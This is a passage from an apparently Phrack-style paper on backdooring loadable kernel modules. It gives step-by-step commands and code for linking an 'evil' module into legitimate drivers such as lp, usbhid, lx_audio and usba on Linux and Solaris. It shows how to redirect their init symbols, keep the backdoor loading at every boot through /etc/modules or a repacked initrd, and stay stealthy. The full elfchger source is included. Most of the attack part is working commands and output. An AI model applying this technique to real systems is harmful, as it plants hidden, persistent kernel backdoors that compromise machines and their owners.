MODULE_LICENSE("GPL"); static int __init init(void) { printk(KERN_ALERT "Init Original!"); return 0; } static void clean(void) { printk(KERN_ALERT "Exit Original!"); return; } module_init(init); module_exit(clean); /******************************** EOF ************************************/ After the compilation and as expected, a new .init.text section has appeared: $ objdump -t orig.ko ... 00000000 l F .init.text 00000016 init 00000000 l O .modinfo 0000000c __mod_license6 00000000 l df *ABS* 00000000 orig.mod.c 00000020 l O .modinfo 00000023 __mod_srcversion31 00000043 l O .modinfo 00000009 __module_depends 00000000 l O __versions 000000c0 ____versions 00000060 l O .modinfo 0000003b __mod_vermagic5 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000000 g F .init.text 00000016 init_module 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk Both init and init_module symbols are part of the .init.text section. This new issue can be solved by defining the evil() function as __init: /******************************** evil.c *********************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); extern int __init init(); int __init evil(void) { init(); printk(KERN_ALERT "Init Inject!"); /* does something */ return 0; } /******************************** EOF ************************************/ Both init() and evil() are prefixed with __init because we need them in the same section. The same steps described in section 4.1.3 are then performed: 1 - Change the init binding: $ ./elfchger -g init orig.ko [+] Opening orig.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x77c [+] Finding ".strtab" section... >> Found at 0x7a4 [+] Getting symbol' infos: >> Symbol found at 0x8fc >> Index in symbol table: 0xf [+] Reordering symbols: >> Starting: >> Moving symbol from 10 to f >> Moving symbol from 11 to 10 >> Moving symbol from 12 to 11 >> Moving symbol from 13 to 12 >> Moving symbol from 14 to 13 >> Moving symbol from 15 to 14 >> Moving our symbol from 15 to 15 >> Last LOCAL symbol: 0x15 >> Done! [+] Updating symbol' infos: [>> Symbol found at 0x95c >> Index in symbol table: 0x15 >> Replacing flag 'LOCAL' located at 0x968 with 'GLOBAL' [+] Updating symtab infos at 0x77c 2 - Link the modules together: $ ld -r orig.ko evil.ko -o new.ko $ objdump -t new.ko ... 00000016 g F .init.text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000000 g F .init.text 00000016 init_module 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000000 g F .init.text 00000016 init 3 - Change init_module address: $ ./elfchger -s init_module -v 00000016 new.ko [+] Opening new.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x954 [+] Finding ".strtab" section... >> Found at 0x97c [+] Getting symbol' infos: >> Symbol found at 0xbec >> Index in symbol table: 0x1f [+] Replacing 0x00000000 with 0x00000016... done! $ objdump -t new.ko ... 00000016 g F .init.text 0000001b evil 00000000 g O .gnu.linkonce.this_module 00000174 __this_module 00000000 g F .text 00000019 cleanup_module 00000016 g F .init.text 00000016 init_module 00000000 *UND* 00000000 mcount 00000000 *UND* 00000000 printk 00000000 g F .init.text 00000016 init 4 - Load the module in memory: $ mv new.ko orig.ko $ sudo insmod orig.ko $ dmesg|tail ... [ 323.085545] Init Original! [ 323.085553] Init Inject! As expected, it works! ---[ 4.3 - What about cleanup_module These methods work fine with the cleanup_module symbol which is called by the kernel when the module is unloaded. Never forget to deal with the termination function as well because if you don't and if the infected module was removed for some reason then your kernel would most likely crash (because there would now be invalid references to the module). The module exit function can be injected simply by altering the symbol whose name is specified in elfchger: $ ./elfchger -s cleanup_module -v address_evil_fn new.ko In this way, when the module is unloaded, the evil() function will be invoked instead of the clean() one. You may also need to deal with binding issues and __exit attribute but the adaptation of the previous method is straightforward. ---[ 5 - Real life example This chapter will show the usage of the present method in a real life example. Let's suppose that evil.ko is a working backdoor. We want to inject it into a kernel module not used by any other kernel module. This test was done on Ubuntu 11.10 (x86) with a 3.0.0 kernel. $ uname -a Linux ubuntu 3.0.0-15-generic #26-Ubuntu SMP Fri Jan 20 15:59:53 UTC 2012 i686 i686 i386 GNU/Linux Let's begin by checking which modules to infect by using the lsmod command: $ lsmod Module Size Used by serio_raw 4022 0 lp 7342 0 snd_seq_midi 4588 0 usbhid 36882 0 binfmt_misc 6599 1 agpgart 32011 1 drm snd_intel8x0 25632 2 ... libahci 21667 3 ahci The command output shows that some of the modules are not used by any other module. These modules can be unloaded safely and then they can be infected with our backdoor using the method presented above. This chapter is divided into two sections in which I'll describe two techniques to load the module when the operating system is booted: 1 - Infect a kernel module (or simply add a new one) on /etc/modprobe.preload (Fedora, etc.) or in /etc/modules on Debian/Ubuntu. 2 - Backdoor initrd. ---[ 5.1 - Infecting a kernel module in /etc/modules First of all, we have to know which modules are in the /etc/modules file: $ cat /etc/modules # /etc/modules: kernel modules to load at boot time. ... lp As described in the previous section, this module (lp.ko) can be unloaded safely and then infected with our backdoor. $ find / -name lp.ko ... /lib/modules/3.0.0-15-generic/kernel/drivers/char/lp.ko ... $ cd /lib/modules/3.0.0-15-generic/kernel/drivers/char Next, we check which function is called by the init_module: $ objdump -t lp.ko |grep -e ".init.text" 00000000 l F .init.text 00000175 lp_init 00000175 l F .init.text 000000ae lp_init_module 00000000 l d .init.text 00000000 .init.text 00000175 g F .init.text 000000ae init_module We want to infect the lp_init_module() function, so the evil module will be coded in the following way: /****************** evil.c ***********************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); extern int __init lp_init_module(); int __init evil(void) { printk(KERN_ALERT "Init Inject! Lp"); lp_init_module(); /* does something */ return 0; } /****************** EOF **************************************************/ Since the lp_init_module function is static we need to change its binding type to global. $ ./elfchger -g lp_init_module lp.ko [+] Opening lp.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x28a0 [+] Finding ".strtab" section... >> Found at 0x28c8 [+] Getting symbol' infos: >> Symbol found at 0x2b30 >> Index in symbol table: 0x24 [+] Reordering symbols: >> Starting: >> Moving symbol from 25 to 24 >> Moving symbol from 26 to 25 >> Moving symbol from 27 to 26 >> Moving symbol from 28 to 27 >> Moving symbol from 29 to 28 >> Moving symbol from 2a to 29 >> Moving symbol from 2b to 2a >> Moving symbol from 2c to 2b >> Moving symbol from 2d to 2c >> Moving symbol from 2e to 2d >> Moving symbol from 2f to 2e >> Moving symbol from 30 to 2f >> Moving symbol from 31 to 30 >> Moving symbol from 32 to 31 >> Moving symbol from 33 to 32 >> Moving symbol from 34 to 33 >> Moving symbol from 35 to 34 >> Moving symbol from 36 to 35 >> Moving symbol from 37 to 36 >> Moving symbol from 38 to 37 >> Moving symbol from 39 to 38 >> Moving symbol from 3a to 39 >> Moving symbol from 3b to 3a >> Moving symbol from 3c to 3b >> Moving symbol from 3d to 3c >> Moving our symbol from 36 to 3d >> Last LOCAL symbol: 0x3d >> Done! [+] Updating symbol' infos: >> Symbol found at 0x2cc0 >> Index in symbol table: 0x3d >> Replacing flag 'LOCAL' located at 0x2ccc with 'GLOBAL' [+] Updating symtab infos at 0x28a0 The two modules can be now linked together: $ ld -r lp.ko evil.ko -o new.ko $ objdump -t new.ko |grep -e init_module -e evil 00000000 l df *ABS* 00000000 evil.c 00000000 l df *ABS* 00000000 evil.mod.c 00000223 g F .init.text 00000019 evil 00000175 g F .init.text 000000ae lp_init_module 00000175 g F .init.text 000000ae init_module Now the relative address of init_module has to be changed to 0000021a: $ ./elfchger -s init_module -v 00000223 new.ko [+] Opening new.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0x2a34 [+] Finding ".strtab" section... >> Found at 0x2a5c [+] Getting symbol' infos: >> Symbol found at 0x39a4 >> Index in symbol table: 0x52 [+] Replacing 0x00000175 with 0x00000223... done! The new.ko module must be renamed to lp.ko and then loaded: $ mv new.ko lp.ko $ sudo rmmod lp $ sudo insmod lp.ko $ dmesg|tail ... $ dmesg .... [ 1033.418723] Init Inject! Lp [ 1033.431131] lp0: using parport0 (interrupt-driven). From now on, every time the system is booted, the infected lp kernel module will be loaded instead of the original one. ---[ 5.2 - Backdooring initrd It is also possible to backdoor a module in the initrd image. The target module has to be extracted out of the image, backdoored and then reinserted back. The target module used throughout this example will be usbhid.ko. In order to inject a kernel module into the initrd image, we'll follow the guide in [9], which explains how to add a new module inside the initrd image. According to [9], the initrd image can be copied from /boot to a target directory (e.g. /tmp) so we can easily work on it: $ cp /boot/initrd.img-2.6.35-22-generic /tmp/ $ cd /tmp The image can be now decompressed using the gzip tool: $ mv initrd.img-2.6.35-22-generic initrd.img-2.6.35-22-generic.gz $ gzip -d initrd.img-2.6.35-22-generic.gz $ mkdir initrd $ cd initrd/ $ cpio -i -d -H newc -F ../initrd.img-2.6.35-22-generic \ --no-absolute-filenames 50522 blocks The location of the usbhid.ko module has then to be found inside the kernel tree: $ find ./ -name usbhid ./lib/modules/2.6.35-22-generic/kernel/drivers/hid/usbhid $ cd lib/modules/2.6.35-22-generic/kernel/drivers/hid/usbhid At this point it can be easily infected with our evil module: $ objdump -t usbhid.ko |grep -e ".init.text" 00000000 l F .init.text 000000c3 hid_init 00000000 l d .init.text 00000000 .init.text 00000000 g F .init.text 000000c3 init_module 000000c3 g F .init.text 00000019 hiddev_init Since we want to infect the hid_init() function, the evil module will be coded in the following way: /****************** evil.c ***********************************************/ #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> MODULE_LICENSE("GPL"); extern int __init hid_init(); int __init evil(void) { hid_init(); printk(KERN_ALERT "Init Inject! Usbhid"); /* does something */ return 0; } /****************** EOF **************************************************/ $ ./elfchger -g hid_init usbhid.ko [+] Opening usbhid.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0xa24c [+] Finding ".strtab" section... >> Found at 0xa274 [+] Getting symbol' infos: >> Symbol found at 0xa4dc >> Index in symbol table: 0x24 [+] Reordering symbols: >> Starting: >> Moving symbol from 25 to 24 ... >> Moving symbol from a6 to a5 >> Moving our symbol from 36 to a6 >> Last LOCAL symbol: 0xa6 >> Done! [+] Updating symbol' infos: >> Symbol found at 0xacfc >> Index in symbol table: 0xa6 >> Replacing flag 'LOCAL' located at 0xad08 with 'GLOBAL' [+] Updating symtab infos at 0xa24c $ ld -r usbhid.ko evil.ko -o new.ko $ objdump -t new.ko | grep -e init_module -e evil 00000000 l df *ABS* 00000000 evil.c 00000000 l df *ABS* 00000000 evil.mod.c 000000dc g F .init.text 0000001b evil 00000000 g F .init.text 000000c3 init_module $ ./elf -s init_module -v 000000dc new.ko [+] Opening new.ko file... [+] Reading Elf header... >> Done! [+] Finding ".symtab" section... >> Found at 0xa424 [+] Finding ".strtab" section... >> Found at 0xa44c [+] Getting symbol' infos: >> Symbol found at 0xd2dc >> Index in symbol table: 0xd5 [+] Replacing 0x00000000 with 0x000000dc... done! $ mv new.ko usbhid.ko Once the target module has been infected with the evil one, we must recreate the initrd image: $ cd /tmp/initrd/ $ find . | cpio -o -H newc | gzip > /tmp/initrd.img-2.6.35-22-generic 50522 blocks $ cp ../initrd.img-2.6.35-22-generic /boot/ From now on, every time the system is booted, the infected usbhid kernel module will be loaded instead of the original one. ---[ 6 - What about other systems? In this last chapter we will see how the presented infection method can applied to other operating systems, specifically Solaris, FreeBSD, NetBSD and OpenBSD. It will be shown that, even if the method is different from that used on Linux, infection is still possible. ---[ 6.1 - Solaris On Solaris systems infecting a kernel module is simpler than on Linux ones. Changing the symbol's name in the .strtab ELF section is sufficient, similarly to truff's original method for the Linux kernel 2.4.* versions. The method has been tested on Solaris 10: # uname -a SunOS unknown 5.10 Generic_142910-17 i86pc i386 i86pc ---[ 6.1.1 - A basic example The orig.c and evil.c source codes are as follows: /******************************** orig.c *********************************/ #include <sys/ddi.h> #include <sys/sunddi.h> #include <sys/modctl.h> extern struct mod_ops mod_miscops; static struct modlmisc modlmisc = { &mod_miscops, "original", }; static struct modlinkage modlinkage = { MODREV_1, (void *) &modlmisc, NULL }; int _init(void) { int i; if ((i = mod_install(&modlinkage)) != 0) cmn_err(CE_NOTE, "Can't load module!\n"); else cmn_err(CE_NOTE, "Init Original!"); return i; } int _info(struct modinfo *modinfop) { return (mod_info(&modlinkage, modinfop)); } int _fini(void) { int i; if ((i = mod_remove(&modlinkage)) != 0) cmn_err(CE_NOTE, "Can't remove module!\n"); else cmn_err(CE_NOTE, "Exit Original!"); return i; } /******************************** EOF ************************************/ /******************************** evil.c *********************************/ #include <sys/ddi.h> #include <sys/sunddi.h> #include <sys/modctl.h> extern int _evil(void); int _init(void) { cmn_err(CE_NOTE, "Inject!"); _evil(); return 0; } /******************************** EOF ************************************/ The _init function is called at module initialisation, while the _fini one is called at module cleanup. The _info function prints information about the module when the "modinfo" command is invoked. The two modules can be compiled using the following commands: # /usr/sfw/bin/gcc -g -D_KERNEL -DSVR4 -DSOL2 -DDEBUG -O2 -c orig.c # /usr/sfw/bin/gcc -g -D_KERNEL -DSVR4 -DSOL2 -DDEBUG -O2 -c evil.c Let's have a look at the orig.o ELF file by using the "elfdump" command: # /usr/ccs/bin/elfdump -s orig.o Symbol Table Section: .symtab index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c [2] 0x00000000 0x00000000 SECT LOCL D 0 .text ... [16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _init [18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err [20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove The _evil() function must be called instead of _init when the module is loaded. To achieve this, the following steps have to be performed: - Change the _init symbol name to _evil in orig.o; - Link the two modules together; This way, the kernel will load the _init() function defined in evil.c which in turn will call the _evil() function (the old _init()) in order to maintain the correct behaviour of the orig module. It is possible to change a symbol name using the 'objcopy' tool. In fact the '--redefine-sym' option can be used to give an arbitrary name to the specified symbol: # /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil orig.o # /usr/ccs/bin/elfdump -s orig.o Symbol Table Section: .symtab index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c [2] 0x00000000 0x00000000 SECT LOCL D 0 .text ... [16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil [18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err [20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove By checking with "elfdump" it is possible to verify if the script properly performed its job: # /usr/ccs/bin/elfdump -s orig.o Symbol Table Section: .symtab index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS orig.c [2] 0x00000000 0x00000000 SECT LOCL D 0 .text ... [16] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [17] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil [18] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [19] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err [20] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [21] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [22] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [23] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove The _init symbol name has been modified to _evil. The modules are then linked together using the "ld" command: # ld -r orig.o evil.o -o new.o The new.o elf file dump follows: # /usr/ccs/bin/elfdump -s new.o Symbol Table Section: .symtab index value size type bind oth ver shndx name [0] 0x00000000 0x00000000 NOTY LOCL D 0 UNDEF [1] 0x00000000 0x00000000 FILE LOCL D 0 ABS new.o [2] 0x00000000 0x00000000 SECT LOCL D 0 .text ... [27] 0x00000000 0x00000000 FILE LOCL D 0 ABS evil.c [28] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_install [29] 0x00000000 0x0000004d FUNC GLOB D 0 .text _evil [30] 0x00000068 0x0000004d FUNC GLOB D 0 .text _fini [31] 0x00000050 0x00000018 FUNC GLOB D 0 .text _info [32] 0x000000b8 0x0000001e FUNC GLOB D 0 .text _init [33] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_miscops [34] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_info [35] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF mod_remove [36] 0x00000000 0x00000000 NOTY GLOB D 0 UNDEF cmn_err To summarize, the _init symbol is referring to the function defined in evil.c, while the _evil symbol is referring to the old _init defined in orig.c that we have just renamed to _evil. Now, the last step is to rename the new.o into orig.o and to load it: # mv new.o orig.o # modload orig.o # tail /var/adm/messages ... May ... orig.o: [ID 343233 kern.notice] NOTICE: Inject! May ... orig.o: [ID 662037 kern.notice] NOTICE: Init Original! As you can see the module is successfully infected. # modinfo | grep orig.o 247 fa9e6eac 160 - 1 orig.o (original) # modunload -i 247 ---[ 6.1.2 - Playing with OS modules This section will explain how to infect a system kernel module. The method remains the same but it will be necessary to make minor changes to the evil module in order to correctly load it to memory. The evil module will be injected into the audio driver. First of all, the module has to be unloaded: # modinfo | grep lx_audio 216 f99e40e0 2614 242 1 lx_audio (linux audio driver 'lx_audio' 1) # modunload -i 216 Now, it is possible to play with it: # /usr/ccs/bin/elfdump -s lx_audio|grep _init [64] 0x000020c2 0x00000011 FUNC GLOB D 0 .text _init [118] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF mutex_init # /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil lx_audio # ld -r evil.o lx_audio -o new # /usr/ccs/bin/elfdump -s new|grep _evil [77] 0x000020de 0x00000011 FUNC GLOB D 0 .text _evil # mv new lx_audio # modload lx_audio # tail /var/adm/messages ... Dec 29 17:00:19 spaccio lx_audio: ... NOTICE: Inject! Great, it works! ---[ 6.1.3 - Keeping it stealthy According to the /etc/system file, the kernel modules that are loaded at boot time are located in the /kernel and /usr/kernel directories. The platform-dependent modules reside in the /platform directory. In this example I'll infect the usb kernel module: usba. First of all the kernel module's position in the filesystem must be located: # find /kernel -name usba /kernel/misc/amd64/usba /kernel/misc/usba /kernel/kmdb/amd64/usba /kernel/kmdb/usba # cd /kernel/misc/usba # /usr/ccs/bin/elfdump -s usba|grep _init ... [291] 0x00017354 0x0000004c FUNC LOCL D 0 .text ugen_ds_init [307] 0x00017937 0x000000e3 FUNC LOCL D 0 .text ugen_pm_init [347] 0x00000fd4 0x00000074 FUNC GLOB D 0 .text _init .... [655] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF rw_init [692] 0x00000000 0x00000000 FUNC GLOB D 0 UNDEF cv_init Now it is possible to change the _init symbol name to _evil. # /usr/sfw/bin/gobjcopy --redefine-sym _init=_evil usba # /usr/ccs/bin/elfdump -s usba|grep _evil [348] 0x00000fd4 0x00000074 FUNC GLOB D 0 .text _evil # ld -r evil.o usba -o new Now we have only to rename the module to its original name: # mv new usba From now on, every time the system is booted, the infected usba kernel module will be loaded instead of the original one. ---[ 6.2 - *BSD ---[ 6.2.1 - FreeBSD - NetBSD - OpenBSD The conclusions made by truff are still valid in the newest versions of these operating systems. On FreeBSD, kernel modules are shared objects, so the proposed method doesn't work because the kernel modules can't be partially linked. On NetBSD and OpenBSD what we have to do is simply to change the entry point of the kernel module when it is loaded. So our function will be invoked instead the original one. ---[ 7 - Conclusions In this paper a new module injection method was introduced to be used with Linux kernel 2.6.x/3.0.x series. Several methods, from simple to more sophisticated were presented to inject external code into kernel modules. It was also explained how the method (with some changes) can be successfully applied to a wide range of operating systems. I hope you'll have fun with it and that you enjoyed this paper! Bye. ---[ 8 - References [1] Infecting loadable kernel modules http://www.phrack.com/issues.html?issue=61&id=10#article [2] EXECUTABLE AND LINKABLE FORMAT (ELF) http://www.muppetlabs.com/~breadbox/software/ELF.txt [3] Init Call Mechanism in the Linux Kernel http://linuxgazette.net/157/amurray.html [4] Understanding the Linux Kernel, 3rd Edition [5] Init Call Mechanism in the Linux Kernel http://linuxgazette.net/157/amurray.html [6] OpenBSD Loadable Kernel Modules http://www.thc.org/root/docs/loadable_kernel_modules/openbsd-lkm.html [7] Introduction to NetBSD loadable kernel modules http://www.home.unix-ag.org/bmeurer/NetBSD/howto-lkm.html [8] Solaris Loadable Kernel Modules http://www.thc.org/papers/slkm-1.0.html [9] Initrd, modules, and tools http://www.dark.ca/2009/06/10/initrd-modules-and-tools/ ---[ 9 - Codes ---[ 9.1 - Elfchger /* * elfchger.c by styx^ <the.styx@gmail.com> (based on truff's code) * * Script with two features: * * Usage 1: Change the symbol name value (address) in a kernel module. * Usage 2: Change the symbol binding (from local to global) in a kernel * module. * * Usage: * 1: ./elfchger -f [symbol] -v [value] <module_name> * 2: ./elfchger -g [symbol] <module_name> */ #include <stdlib.h> #include <stdio.h> #include <elf.h> #include <string.h> #include <getopt.h> int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, Elf32_Shdr *shdr); int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len); Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym); void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len); unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name); int ReoderRelocation(FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym); int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, Elf32_Shdr *shdr); void usage(char *cmd); int main (int argc, char **argv) { FILE *fd; Elf32_Ehdr hdr; Elf32_Shdr symtab, strtab; Elf32_Sym sym; Elf32_Off symoffset; Elf32_Addr value; unsigned long new_index = 0; int gflag = 0, vflag = 0, fflag = 0; char *sym_name; int sym_value = 0; long sym_off, str_off; int opt; if ( argc != 4 && argc != 6 ) { usage(argv[0]); exit(-1); } while ((opt = getopt(argc, argv, "vsg")) != -1) { switch (opt) { case 'g': if( argc-1 < optind) { printf("[-] You must specify symbol name!\n"); usage(argv[0]); exit(-1); } gflag = 1; sym_name = argv[optind]; break; case 's': if( argc-1 < optind) { printf("[-] You must specify symbol name!\n"); usage(argv[0]); exit(-1); } fflag = 1; sym_name = argv[optind]; break; case 'v': if( argc-1 < optind) { printf("[-] You must specify new symbol address\n"); usage(argv[0]); exit(-1); } vflag = 1; sym_value = strtol(argv[optind], (char **) NULL, 16); break; default: usage(argv[0]); exit(-1); } } printf("[+] Opening %s file...\n", argv[argc-1]); fd = fopen (argv[argc-1], "r+"); if (fd == NULL) { printf("[-] File \"%s\" not found!\n", argv[1]); exit(-1); } printf("[+] Reading Elf header...\n"); if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1) { printf("[-] Elf header corrupted!\n"); exit(-1); } printf("\t>> Done!\n"); printf("[+] Finding \".symtab\" section...\n"); sym_off = ElfGetSectionByName (fd, &hdr, ".symtab", &symtab); if (sym_off == -1) { printf("[-] Can't get .symtab section\n"); exit(-1); } printf("\t>> Found at 0x%x\n", (int )sym_off); printf("[+] Finding \".strtab\" section...\n"); str_off = ElfGetSectionByName (fd, &hdr, ".strtab", &strtab); if (str_off == -1) { printf("[-] Can't get .strtab section!\n"); exit(-1); } printf("\t>> Found at 0x%x\n", (int )str_off); printf("[+] Getting symbol' infos:\n"); symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, sym_name, &sym); if ( (int) symoffset == -1) { printf("[-] Symbol \"%s\" not found!\n", sym_name); exit(-1); } if ( gflag == 1 ) { if ( ELF32_ST_BIND(sym.st_info) == STB_LOCAL ) { unsigned char global; unsigned long offset = 0; printf("[+] Reordering symbols:\n"); new_index = ReorderSymbols(fd, &symtab, &strtab, sym_name); printf("[+] Updating symbol' infos:\n"); symoffset = ElfGetSymbolByName(fd, &symtab, &strtab, sym_name, &sym); if ( (int) symoffset == -1) { printf("[-] Symbol \"%s\" not found!\n", sym_name); exit(-1); } offset = symoffset+1+sizeof(Elf32_Addr)+1+sizeof(Elf32_Word)+2; printf("\t>> Replacing flag 'LOCAL' located at 0x%x with 'GLOBAL'\ \n", (unsigned int)offset); if (fseek (fd, offset, SEEK_SET) == -1) { perror("[-] fseek: "); exit(-1); } global = ELF32_ST_INFO(STB_GLOBAL, STT_FUNC); if (fwrite (&global, sizeof(unsigned char), 1, fd) < 1) { perror("[-] fwrite: "); exit(-1); } printf("[+] Updating symtab infos at 0x%x\n", (int )sym_off); if ( fseek(fd, sym_off, SEEK_SET) == -1 ) { perror("[-] fseek: "); exit(-1); } symtab.sh_info = new_index; // updating sh_info with the new index // in symbol table. if( fwrite(&symtab, sizeof(Elf32_Shdr), 1, fd) < 1 ) { perror("[-] fwrite: "); exit(-1); } } else { printf("[-] Already global function!\n"); } } else if ( fflag == 1 && vflag == 1 ) { memset(&value, 0, sizeof(Elf32_Addr)); memcpy(&value, &sym_value, sizeof(Elf32_Addr)); printf("[+] Replacing 0x%.8x with 0x%.8x... ", sym.st_value, value); if (fseek (fd, symoffset+sizeof(Elf32_Word), SEEK_SET) == -1) { perror("[-] fseek: "); exit(-1); } if (fwrite (&value, sizeof(Elf32_Addr), 1, fd) < 1 ) { perror("[-] fwrite: "); exit(-1); } printf("done!\n"); fclose (fd); } return 0; } /* This function returns the offset relative to the symbol name "name" */ Elf32_Off ElfGetSymbolByName(FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name, Elf32_Sym *sym) { unsigned int i; char symname[255]; for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) { if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize), SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1) { perror("\t[-] read: "); exit(-1); } memset (symname, 0, sizeof (symname)); ElfGetSymbolName (fd, sym->st_name, strtab, symname, sizeof (symname)); if (!strcmp (symname, name)) { printf("\t>> Symbol found at 0x%x\n", symtab->sh_offset + (i * symtab->sh_entsize)); printf("\t>> Index in symbol table: 0x%x\n", i); return symtab->sh_offset + (i * symtab->sh_entsize); } } return -1; } /* This function returns the new index of symbol "name" inside the symbol * table after re-ordering. */ unsigned long ReorderSymbols (FILE *fd, Elf32_Shdr *symtab, Elf32_Shdr *strtab, char *name) { unsigned int i = 0, j = 0; char symname[255]; Elf32_Sym *all; Elf32_Sym temp; unsigned long new_index = 0; unsigned long my_off = 0; printf("\t>> Starting:\n"); all = (Elf32_Sym *) malloc(sizeof(Elf32_Sym) * (symtab->sh_size/symtab->sh_entsize)); if ( all == NULL ) { return -1; } memset(all, 0, symtab->sh_size/symtab->sh_entsize); my_off = symtab->sh_offset; for ( i = 0; i < (symtab->sh_size/symtab->sh_entsize); i++) { if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize), SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } if (fread (&all[i], sizeof (Elf32_Sym), 1, fd) < 1) { printf("\t[-] fread: "); exit(-1); } memset (symname, 0, sizeof (symname)); ElfGetSymbolName(fd, all[i].st_name, strtab, symname, sizeof(symname)); if (!strcmp (symname, name)) { j = i; continue; } } temp = all[j]; for ( i = j; i < (symtab->sh_size/symtab->sh_entsize); i++ ) { if ( i+1 >= symtab->sh_size/symtab->sh_entsize ) break; if ( ELF32_ST_BIND(all[i+1].st_info) == STB_LOCAL ) { printf("\t>> Moving symbol from %x to %x\n", i+1, i); all[i] = all[i+1]; } else { new_index = i; printf("\t>> Moving our symbol from %d to %x\n", j, i); all[i] = temp; break; } } printf("\t>> Last LOCAL symbol: 0x%x\n", (unsigned int)new_index); if ( fseek (fd, my_off, SEEK_SET) == -1 ) { perror("\t[-] fseek: "); exit(-1); } if ( fwrite(all, sizeof( Elf32_Sym), symtab->sh_size/symtab->sh_entsize, fd) < (symtab->sh_size/symtab->sh_entsize )) { perror("\t[-] fwrite: "); exit(-1); } printf("\t>> Done!\n"); free(all); return new_index; } int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, Elf32_Shdr *shdr) { if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize), SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) { printf("\t[-] Sections header corrupted"); exit(-1); } return 0; } int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, Elf32_Shdr *shdr) { int i; char name[255]; Elf32_Shdr shstrtable; ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable); memset (name, 0, sizeof (name)); for ( i = 0; i < ehdr->e_shnum; i++) { if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize), SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 